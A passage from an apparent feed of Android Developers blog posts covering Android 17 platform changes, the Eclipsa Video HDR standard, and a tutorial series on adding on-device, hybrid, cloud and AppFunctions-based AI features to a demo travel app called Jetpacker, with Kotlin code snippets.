Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.
Versatile Video Coding (H.266): Enables OEMs to add codec support by defining the video/vvc MIME type in MediaFormat, adding new VVC profiles in MediaCodecInfo, and integrating support into MediaExtractor.
Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.
Constant Quality for Video Recording: SetVideoEncodingQuality in MediaRecorder configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.

Better support for hearing aids

Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new AudioDeviceInfo.TYPE_BLE_HEARING_AID constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.
Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.

CameraX and Media3

CameraX and Media3 have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture, smooth media playback, and creative and complex editing experiences.

We've released an agent skill that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.

Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.

Get your apps, libraries, tools, and game engines ready!

If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.

Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps running on and targeting Android 17 to focus your testing, including the following:

Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints on large screens.
Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.
Enable CT by default: Certificate transparency (CT) is enabled by default. (On Android 16, CT is available but apps had to opt in.)
Local network protections: Apps targeting SDK 37 or higher have local network access blocked by default. Switch to using privacy preserving pickers if possible, and use the new ACCESS_LOCAL_NETWORKpermission for broad, persistent access.
Background audio hardening: Starting in Android 17, the audio framework enforces restrictions on background audio interactions including audio playback, audio focus requests, and volume change APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the updated guidance.
NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare FEATURE_NEURAL_PROCESSING_UNIT in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the LiteRT NPU delegate, vendor-specific SDKs, as well as the deprecated NNAPI.

Get started with Android 17

Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can use the 64-bit system images with the Android Emulator in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.

Getting the Android 17 beta on partner devices

Android 17 is available in beta on handset, tablet, and foldable form factors from partners including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.

For the best development experience with Android 17, we recommend that you use the latest Canary build of Android Studio Quail. Once you’re set up, here are some of the things you should do:

Test your current app for compatibility, learn whether your app is affected by changes in Android 17, and install your app onto a device or Android Emulator running Android 17 and extensively test it.

Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.

For complete information on Android 17 please visit the Android 17 developer site.

Eclipsa Video: HDR That Looks Right on Every Screen

Sat, 25 Jul 2026 10:15:30 +0200

Posted by Tibian Elsheikh, Product Manager, Android Core Graphics and Jeffrey Jose, Product Manager, Android Core Graphics

We’ve all been there: You’re scrolling through your favorite social media feed in a dim room, and suddenly an HDR video pops up. It’s so intensely bright that you have to squint, or maybe you find yourself turning down your screen brightness just to read the caption. Other times, a video that looks vibrant on your phone looks flat, dark, or washed out when you watch it on your living room TV.

While High Dynamic Range (HDR) technology was designed to make videos look richer and more lifelike, the lack of unified industry guidelines means that the exact same clip can render in unexpected and jarring ways depending on the display you’re using.

To solve this, we’re introducing Eclipsa Video—a new standard built to make your favorite videos look consistent, balanced, and comfortable on every screen. Eclipsa Video builds on the open SMPTE ST 2094-50 specification, which Google developed in collaboration with Apple and NBCUniversal.

Sudden brightness spikes during feed scrolling—fixed with Eclipsa Video.

More consistency, comfort, and creative control

Eclipsa Video moves past individual display guesswork. Instead of leaving it up to your device to interpret a video’s brightness on its own, our format carries precise guidelines that tell compatible displays exactly how to render the image.

Designed to scale with your hardware, Eclipsa Video provides three core benefits:

A consistent baseline: Eclipsa Video introduces a shared rulebook for screens. It establishes a consistent benchmark for normal brightness—known as the HDR reference white. This ensures standard text, app interfaces, and standard-range colors remain vibrant and readable without causing uncomfortable screen glare.
Adaptive headroom: Screens have different physical brightness limits, or "headroom." Eclipsa Video guides how displays handle highlights dynamically. Bright details remain brilliant on a premium television, while being scaled intelligently on a mobile screen to prevent sudden blinding transitions.
Preserved creative intent: Rather than applying a single static setting to an entire video, Eclipsa Video carries adaptive, frame-by-frame instructions. Think of it as a set of digital notes from the creator traveling with the video, ensuring the exact colors, contrast, and mood they graded are preserved on your display.

Eclipsa Video preserves true highlight detail on any screen you watch.

Built natively into Android 17

Starting with Android 17, support for Eclipsa Video is built directly into the platform. This means a more comfortable, true-to-life HDR experience is coming natively to the phones, tablets, and TVs you rely on every day. The video you capture carries its creative intent with it, and the video you watch is shown exactly the way it was meant to be seen.

Guidelines for developers & creators

We’re inviting the developer and creator ecosystem to help build a more reliable HDR environment:

Get started with implementation: Learn how to configure playback and capture in your apps with our official guide.
ExoPlayer & Media3 integration: Standard playback handling built directly into Jetpack Media3, allowing ExoPlayer to support Eclipsa Video metadata automatically with no additional player configuration.
Explore open source tools: View and inspect SMPTE ST 2094-50 metadata and dynamic gain curves in real time using HDR Explorer.

What’s next

Eclipsa Video is rolling out now, and you’ll see more apps and devices supporting it over time. Because it’s an open standard, any app developer or hardware manufacturer can integrate it to elevate the viewing experience.

Try out the new tools in Android 17, explore the open-source metadata, and let us know what you think on our developer channels. We can’t wait to see what you create.

Notes & Availability

1. Device Compatibility: Eclipsa Video playback and capture are supported natively on devices running Android 17 (API level 37) and above with HDR displays passing Eclipsa Compliance tests.

2. Developer Resources: The SMPTE ST 2094-50 Specification is openly accessible for technical evaluation.

Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions

Sat, 25 Jul 2026 10:15:27 +0200

Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.

Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking.

In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, JetPacker, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.

Designing AI-ready features: making choices that matter for your users

To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.

Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the addExpense and getExpenses features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.

We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing getItinerary and addItineraryEvent to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.

Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database using the addVoiceNote AppFunction.

Android MCP powered by AppFunctions

This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.

Android AppFunctions is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.

Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.

Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.

When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.

How we accelerated development with Android skills

To streamline the integration process, we leveraged the AppFunctions development skill. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary Service entry points, refining our KDoc documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

Providing app features to the intelligence system

Enough with the theory, let's dive into the implementation.

Configuration and dependency setup

We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.

implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")

Modeling custom data types

Any custom object exchanged with the agent must be annotated with @AppFunctionSerializable. In our TripSerializable.kt file, we define our trip data model:

@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List,
)

Providing features using the @AppFunction annotation

Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with @AppFunction. We can view this in searchTrip:

/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List {
    return withContext(Dispatchers.IO) {
    // implementation
}

Since AppFunctions run on the UI thread by default, we use withContext(Dispatchers.IO) to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.

The service entry point and Hilt integration

To register these features with the intelligence system, we create an abstract base class that extends AppFunctionService. We annotate it with @AppFunctionServiceEntryPoint:

@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}

During compilation, KSP generates the final concrete service subclass, JetPackerAppFunctionService, as declared with the serviceName parameter. We also register app_metadata.xml in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.

Testing and verifying your AppFunctions

Once implemented, you should verify that your AppFunctions are registered and working correctly.

Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running adb shell cmd app_function list-app-functions displays all registered functions for your package. You can then execute a specific function and test its database integration by running adb shell cmd app_function execute-app-function while passing a raw JSON parameters string.

Instead of these ADB commands, you can also use the AppFunctions Testing Agent to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.

Wrapping it up

When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..

First, the AppFunctions development skill is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.

Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!

Learn more

Check out the other parts of this blog post series:
Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4 (this post!): System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

Build intelligent Android apps: Introduction to Jetpacker

Sat, 25 Jul 2026 10:15:26 +0200

Posted by Jolanda Verhoef, Senior Developer Relations Engineer, Android Developer Relations

Building GenAI features in your app usually means navigating through various models, APIs and architecture choices:

Execution location: Where does your model run? On device, in the cloud, or both?
Complexity: How complex is your setup? Are you doing a single inference call or do you need a more agentic flow?
In-app or Android System: Should your feature be built into your Android app or does it fit better as an Android system integration?

In this blog post series we'll navigate these choices with you. We will take you along on a journey, starting with a basic mobile app and transforming it into a personalized, intelligent, and agentic experience.

Jetpacker: a demo travel app

Jetpacker is a technical showcase app that our team built from the ground up for this year's Google I/O (built using Antigravity). At its core, Jetpacker helps users plan, explore, and enjoy their next big adventure. It shows an overview of your trips, the itinerary of each trip, and details of each event on that trip. Of course following all best practices of Android development, including a beautifully expressive Material UI design.

And best of all? It's fully open source!

Today we are publishing a series of technical blog posts diving deep into each of these features. We’ll provide detailed implementation steps, code snippets, and architectural insights to help you build your own intelligent Android applications.

On-device intelligence

On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes

Using an on-device model comes with no additional cloud inference costs, means you don't have to worry about internet connectivity, and lets users be confident that private information will be processed locally, on the device, without any of their data being sent to the cloud.

In Jetpacker, we chose on-device inference for three of our features:

The trip overview feature transforms a messy, multi-day itinerary into a concise, actionable summary. It leverages Gemini Nano through the ML Kit GenAI APIs to process data locally on the device. We consider this a nice-to-have feature where we don't want to incur extra cloud costs, making on-device inference the right choice.
The expense tracker automatically extracts structured data from receipt images to help users track their travel spending. It uses the multimodal capabilities of Gemini Nano 4 through the ML Kit GenAI APIs. We choose an on-device solution so that any privacy-sensitive information on the receipt images never leaves the user's device.
The audio diary records, transcribes, and categorizes voice notes into relevant trip activities. It is powered by the ML Kit Speech Recognition and GenAI Prompt APIs. We chose an on-device solution for privacy and connectivity reasons.

Cloud & hybrid inference

Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and hotel support chat featuring custom-routed live translation.

Sometimes your use-case requires AI models with greater world knowledge or a much larger context window and with greater ability in handling complex tasks. In that case, we can switch from running an on-device model to using a cloud model instead.

Or, if you want to get the best of both worlds, you can use hybrid inference to dynamically choose either a cloud or on-device model at runtime. This allows us to lower costs by moving inference to the device when it is available, but at the same time support all Android devices running the app.

In Jetpacker, we implemented several features using cloud or hybrid inference:

The place Q&A feature answers user questions about specific locations by grounding responses in real-world data. It uses Firebase AI Logic integrated with Google Maps and web context. Using a cloud model is necessary here for its greater world knowledge.
The review drafting feature helps users compose detailed reviews for the places they have visited. It leverages both on-device and cloud models through Firebase AI Logic's new Hybrid inference API. This is a feature we wanted to make available to all app users, so we're using a cloud model as a fallback when an on-device model is unavailable.
The automatic chat translation dynamically translates chat messages in real time to facilitate seamless communication, demonstrating custom hybrid inference logic. Again, we want this feature to be available to all app users, but at the same time have some specific considerations on when to choose on-device versus cloud.

System integration

While not a feature you see in the app itself, the Android system integration opens up the app's core capabilities directly to the Android operating system. It uses the AppFunctions API to integrate with system-level intelligence.

In-app agentic workflows (coming soon!)

The booking assistant shows several in-progress flight bookings, asking the user for input before making a final booking.

Agenticness introduces a higher level of autonomy, enabling models to act as agents. Instead of a single inference call, an agent works towards a specific goal via an orchestration loop that allows it to reason, use tools, and adapt its path. Depending on your requirements, these intelligent agents can run either in the cloud, directly on-device, or in a hybrid setup.

For Jetpacker we added a booking assistant that automates end-to-end booking workflows directly within the application to streamline reservations. It is built using A2UI and ADK running in the cloud. The Android app functions as a front-end to the multi-agentic system running in the cloud.

Learn more

Check out the other parts of this blog post series:

Part 1 (this post!): Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

Build intelligent Android apps: On-device inference

Sat, 25 Jul 2026 10:15:25 +0200

Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jetpacker, the demo app we'll use throughout this series.

In this blog post, we will share how you can use Gemini Nano through ML Kit’s Prompt API to build intelligent on-device features.

Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:

User data can be processed locally on the device, preserving user privacy
Functionality of the model is reliable even with spotty or no internet connection
No additional cloud inference cost, since everything runs on the user’s hardware

With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.

On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes

High quality tailored summarization of short texts

The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘Get ready for your trip’ section at the top.

The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.

By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:

Performance and quality: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.
Scalability: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.
Low latency and reliability: On-device inference guarantees low latency, providing a reliable experience even when users are offline.

To build with on-device, we use Gemini Nano, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model, and is further optimized for maximum battery and performance efficiency.

Using ML Kit’s Prompt API, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
     trip, and common short phrases to learn for the trip.")

Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the developer preview option for AICore, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt here.

The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.

Local processing for sensitive user input

Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.

Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.

Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.

In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.

For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use ML Kit’s Structured Output API to seamlessly output a Kotlin data object that we define.

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response

Multimodal input

Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using ML Kit’s Speech Recognition API, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.

The Roman holiday itinerary shows voice note extracts.

The ML Kit GenAI Speech Recognition API allows you to transcribe audio content to text fully on-device using two distinct modes. Basic mode uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. Advanced mode uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.

For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response ->
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -> {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -> {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List) {
    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}

Conclusion

Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.

Check out the full source code for Jetpacker on Github, and watch the video Build Intelligent Android apps with Google’s AI to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.

Learn more

Check out the other parts of this blog post series:

Part 1: Introduction of the app and a high-level overview.
Part 2 (this post!): On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

Build intelligent Android apps: Cloud and hybrid inference

Sat, 25 Jul 2026 10:15:23 +0200

Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer Relations

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we explored how to build intelligent on-device features using Gemini Nano through ML Kit's Prompt API.

In this post, we will look at how you can leverage Firebase AI Logic to build cloud-hosted and hybrid AI features:

Grounding answers in real-world context
Routing requests dynamically between cloud and local execution using hybrid inference
Translating content with custom routing systems

Sometimes a use case requires AI models with greater world knowledge, a much larger context window, or the ability to handle complex queries. In those scenarios, we can leverage cloud models.

Other times, you want the best of both worlds: using hybrid inference to run on-device when available to lower costs, while falling back to the cloud to ensure compatibility for all devices.

Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and support chat featuring custom-routed live translation.

Let’s look at how we implemented three cloud and hybrid features in Jetpacker:

a museum assistant with web grounding
hybrid restaurant review drafting
hotel support chat featuring custom-routed live translation.

Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding

The Museum assistant is an interactive chatbot designed to help users plan their museum visits. It provides visitors with up-to-date details regarding specific exhibits, current opening hours, ticket pricing, and more.

Museum assistant is a chatbot that answers questions, such as

‘How can I get a ticket discount for Le Louvre?’

When building AI features, getting the model to answer with fresh, accurate, and specific real-world information is a common challenge. While cloud models possess massive amounts of world knowledge, they might not know about seasonal exhibits or the current day’s opening hours.

Grounding data is added to the context window to enable the model

to answer questions correctly and accurately.

To bridge this gap, we can use grounding techniques to add extra context to the model’s context window. The Firebase AI Logic SDK supports three types of grounding:

URL grounding: Grounding responses using content from a specific webpage (e.g. current ticket prices or museum rules).
Google Search grounding: Letting the model query the real-time Google search index for up-to-date details.
Maps grounding: Using Google Maps location data.

In Jetpacker, we dynamically construct the available tools based on enabled feature flags and initialize the generative model using the Firebase AI SDK:

// implementation("com.google.firebase:firebase-ai-logic")

private var toolList = mutableListOf()

init {
    if (ENABLE_SEARCH_GROUNDING) {
        toolList.add(Tool.googleSearch())
    }
    if (ENABLE_URL_GROUNDING) {
        toolList.add(Tool.urlContext())
    }
}

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        systemInstruction = content {
            text("You are a helpful museum assistant answering questions about a museum. Use plain text.")
        },
        tools = toolList
    )

When the user queries the assistant, if URL grounding is enabled, we append the specific museum resource URLs directly into the prompt:

val groundingText = if (FeatureFlags.ENABLE_URL_GROUNDING) {
    "\n If the following message above is about the rules and terms to visit Le Louvre, " +
    "if needed answer this urls ${urlList.joinToString()}"
} else {
    ""
}

val prompt = "$text $groundingText"

var response = chat.sendMessage(prompt)

Hybrid inference: On-device review generation with Maps deep link

Not every AI task requires a cloud-based model, and not every device is online. To help developers balance latency, cost, and offline availability, we recently introduced the Firebase API for Hybrid Inference.

In Jetpacker, the restaurant review feature lets users review select topics and automatically drafts a review. To enable this for all users, we prioritize local execution with Gemini Nano, and fall back to cloud models on devices that don’t support Gemini Nano.

The restaurant review feature uses hybrid inference to draft a review based on topics

// implementation("com.google.firebase:firebase-ai-logic")
// implementation("com.google.firebase:firebase-ai-ondevice:16.0.0-beta03")


// Initialize the model with hybrid routing configuration
val reviewModel = Firebase.ai.generativeModel(
    modelName = "gemini-3.1-flash-lite",
    onDeviceConfig = OnDeviceConfig(
        inferenceMode = InferenceMode.PREFER_ON_DEVICE
    )
)

The Hybrid Inference API supports four distinct routing modes:

PREFER_ON_DEVICE: Prioritizes local execution and falls back to cloud if Gemini Nano is unavailable.
PREFER_IN_CLOUD: Prioritizes cloud execution and falls back to on-device if the device goes offline.
ONLY_ON_DEVICE: Restricts execution strictly to the device.
ONLY_IN_CLOUD: Restricts execution strictly to the cloud.

